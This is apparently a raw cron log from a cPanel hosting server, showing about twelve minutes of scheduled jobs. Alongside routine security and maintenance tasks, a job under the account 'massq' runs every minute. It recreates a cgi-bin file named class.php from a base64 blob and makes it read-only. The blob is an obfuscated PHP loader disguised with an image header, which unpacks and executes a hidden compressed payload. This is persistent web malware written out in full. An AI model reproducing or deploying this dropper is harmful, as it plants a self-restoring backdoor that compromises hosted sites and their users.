Sep  3 09:40:01 server CROND[31937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:41:01 server CROND[385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:41:01 server CROND[386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:41:01 server CROND[387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:42:01 server CROND[864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:42:01 server CROND[865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:42:01 server CROND[866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:42:01 server CROND[867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:43:01 server CROND[1408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:43:01 server CROND[1409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:43:01 server CROND[1410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:44:01 server CROND[1917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:44:01 server CROND[1918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:44:01 server CROND[1919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:45:01 server CROND[2437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:45:01 server CROND[2438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:45:01 server CROND[2441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:45:01 server CROND[2439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:45:01 server CROND[2442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:45:01 server CROND[2440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:45:01 server CROND[2444]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:46:01 server CROND[3327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:46:01 server CROND[3329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:46:01 server CROND[3328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:47:01 server CROND[3720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:47:01 server CROND[3721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:47:01 server CROND[3722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:48:01 server CROND[4109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:48:01 server CROND[4110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:48:01 server CROND[4111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:49:01 server CROND[4550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:49:01 server CROND[4551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:49:01 server CROND[4552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:50:01 server CROND[5024]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:50:01 server CROND[5027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:50:01 server CROND[5029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:50:01 server CROND[5032]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:50:01 server CROND[5034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:50:01 server CROND[5030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:50:01 server CROND[5033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:50:01 server CROND[5036]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:50:01 server CROND[5031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:51:01 server CROND[5908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:51:01 server CROND[5909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:51:01 server CROND[5910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:52:01 server CROND[6333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:52:01 server CROND[6334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:52:01 server CROND[6335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
